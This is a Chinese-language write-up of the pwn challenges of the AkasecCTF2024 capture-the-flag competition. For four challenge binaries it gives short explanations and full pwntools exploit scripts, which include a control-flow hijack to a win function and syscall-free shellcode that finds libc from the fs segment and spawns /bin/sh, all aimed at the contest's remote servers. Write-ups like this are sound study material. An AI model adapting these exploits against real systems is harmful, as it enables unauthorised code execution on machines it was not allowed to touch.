AkasecCTF2024 WriteUp-Pwn

AkasecCTF2024 WriteUp-Pwn

2024-06-10·CompetitionsPwnWriteUpCompetitions

AkasecCTF2024 WriteUp-Pwn

yapping

题目分析

一个纯汇编搓的程序,也就没有动态链接了。

没有栈溢出 但是能够覆盖栈上面保存的循环使用的i变量。用过修改这个变量实现一次任意地址写。

存在后门函数:win函数 但是需要先修改bss上面的变量才能通过检查拿到flag。

因此我们需要干的事情就是: 1.修改bss上面的变量 2.劫持程序执行流到win函数。

解题思路

但是我们只有一次写地址机会,如果直接劫持vuln函数的返回地址肯定无法干那么多事情。

我们于是开始尽可能利用现有的buf

他调用read函数没有直接syscall,而是调用了一个函数之后进行syscall。 我们尝试劫持这个函数的执行流,让它返回到我们提前布置在buf里面的ROP链子。 (这时候有人就说了:都能执行ROP了为什么不直接搓个ORW的链子?Ans:因为程序是汇编搓的,所以gadgets几乎就是没有。还是要调用win函数) 至于更改bss的变量,vuln函数中定位buf使用的是rbp寄存器,于是我们劫持执行流的时候把rbp更改了就行了。 (Q:你只能写8字节的内容,为什么能同时改rbp和返回地址?A:我们从rbp低第2位开始写,改到返回地址最低一个字节正好8字节,返回地址最低一位改成0x60就能返回到ret指令,之后ret到我们buf布置的ROP链子,rbp就只剩最低一位无法控制,我们直接爆破就行,就能劫持rbp到bss上面,之后调用vuln函数就能修改bss上面的变量,之后vuln函数结束ret到win函数就可以了)

Exp

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './pwn'
p=remote('20.80.240.190',14124)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
# gdb.attach(p,"b *0x401115")
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
payload1=p64(0x4011F4)+p64(0x401160)+p64(0x401160)

payload=payload1*4+p64(0xFFFFFFe9ffffffff)+p64(0xFFFFFFe9ffffffff)+p64(0x6000000000004040)
p.send(payload)
# pause()
# p.send(p64(0x6000000000004040))
pause()
payload2=p64(0x6e696d6461)*16
p.send(payload2)

#0x6e696d6461
p.interactive()

the_absolute_horror_of_the_trip

题目分析

一道shellcode题目

buf地址已知,pie开启 刚开始就给了puts函数的低4字节

过滤了buf中的syscall , int 0x80 , sysenter指令,之后设置buf为r-xp,寄存器除了已知的buf地址全清空了。(非常逆天)

在没有syscall的情况下我们肯定要调用elf的函数来之后进行操作。最重要的就是拿到elf,libc,ld之类的地址。

解题思路

除了rdi之类的通用寄存器,程序还有着cs fs ss等段寄存器。fs寄存器加上偏移就能拿到一些地址。 经过测验,fs:[0x00/0x08/0x10]存储的是libc前面的一个段的地址,在那个段我们可以找到libc基址,但是实测加上偏移的方法在本地可以100%拿shell,但是远程就100%不行。 猜测是本地和远程ld不同或者操作系统(好像远程是archlinux)导致段内的环境不同。因此直接写个循环在段内搜索,匹配给出的puts函数低字节来找到libc地址,从而拿到基址。 低4字节我们知道,但是高2字节不知道,我们就是要找到一个libc的地址就能直接知道了。

知道libc基址之后就能直接orw或者execve拿shell了。

Exp

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './pwn'
p=remote('172.210.129.230',1369)
# p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# 0x6969696969 0x6969696000
# 0x1337131369 0x1337131000

# mov rcx,0x000075f74baeeac0
# sub rdi,rcx
# mov rcx,0x75f74b96d000
# add rdi,rcx
p.recvuntil("0x")
add=int(p.recv(8),16)-0x079BF0
print(hex(add))
code=f'''
st1:
    nop
st:
    mov rdi,fs:0x0
    mov rsi,0xdddddd
    cmp rdi,rsi
    jl st1

mov rcx, 0xf0000

loop_start:
    mov rax, [rdi]    
    mov r8,{add}
    mov r10,r8
    
    mov rbx,0x00000000fff00000
    mov r9, 0x00000000fff00000
    and rax, rbx
    and r8,rbx
    
    cmp rax,r8
    jne loop_end    
    mov rdi, [rdi]
    mov rbx,0xffffffff00000000
    and rdi,rbx
    add rdi,r10
    jmp after
loop_end:
    add rdi, 8     
    dec rcx        
    jnz loop_start 
after:
    add rdi,0x3E717
    mov rbx,rdi
    mov rsp,0x69696b6000
    mov rcx,0x68732f6e69622f
    mov [rsp],rcx
    mov rdi,rsp
    xor rax,rax
    mov rax,59
    mov rcx,0x353f
    xor rcx,0x3030
    xor rdx,rdx
    xor rsi,rsi
    jmp rbx

'''
# mov rcx,0x7ed10ca85740
# sub rdi,rcx
# mov rcx,0x7ed10ca88000
# add rdi,rcx


# jmp rbx

p.sendline(asm(code))
p.sendline("ls")
p.interactive()

good_trip

题目分析

上面一题的简化版本。

Exp

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './pwn'
p=remote('172.210.129.230',1351)
# p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# 0x6969696969 0x6969696000
# 0x1337131369 0x1337131000

# mov rcx,0x000075f74baeeac0
# sub rdi,rcx
# mov rcx,0x75f74b96d000
# add rdi,rcx
p.sendlineafter("code size",str(0x999))
code='''
mov rsp,0x404800
mov rdi,0x1337131000
mov rsi,0x1000
mov rdx,0x7
mov rcx,0x401090
call rcx

mov rdi,0
mov rsi,0x1337131100
mov rdx,0x100
mov rcx,0x401060
call rcx
mov rcx,0x1337131100
call rcx
'''
p.sendline(asm(code))
pause()
p.sendline(asm(shellcraft.sh()))
# p.sendline("ls")
p.interactive()

bad_trip

题目分析

依旧是简化版本,但是exp通用),还好我先做的难的)

Exp

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './pwn'
p=remote('172.210.129.230',1352)
# p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# 0x6969696969 0x6969696000
# 0x1337131369 0x1337131000

# mov rcx,0x000075f74baeeac0
# sub rdi,rcx
# mov rcx,0x75f74b96d000
# add rdi,rcx
p.recvuntil("0x")
add=int(p.recv(8),16)-0x079BF0
print(hex(add))
code=f'''
st1:
    nop
st:
    mov rdi,fs:0x0
    mov rsi,0xdddddd
    cmp rdi,rsi
    jl st1

mov rcx, 0xf0000

loop_start:
    mov rax, [rdi]    
    mov r8,{add}
    mov r10,r8
    
    mov rbx,0x00000000fff00000
    mov r9, 0x00000000fff00000
    and rax, rbx
    and r8,rbx
    
    cmp rax,r8
    jne loop_end    
    mov rdi, [rdi]
    mov rbx,0xffffffff00000000
    and rdi,rbx
    add rdi,r10
    jmp after
loop_end:
    add rdi, 8     
    dec rcx        
    jnz loop_start 
after:
    add rdi,0x3E717
    mov rbx,rdi
    mov rsp,0x69696b6000
    mov rcx,0x68732f6e69622f
    mov [rsp],rcx
    mov rdi,rsp
    xor rax,rax
    mov rax,59
    mov rcx,0x353f
    xor rcx,0x3030
    xor rdx,rdx
    xor rsi,rsi
    jmp rbx

'''
# mov rcx,0x7ed10ca85740
# sub rdi,rcx
# mov rcx,0x7ed10ca88000
# add rdi,rcx


# jmp rbx

p.sendline(asm(code))
p.sendline("ls")
p.interactive()

总结

题目质量还挺高的。难度中等。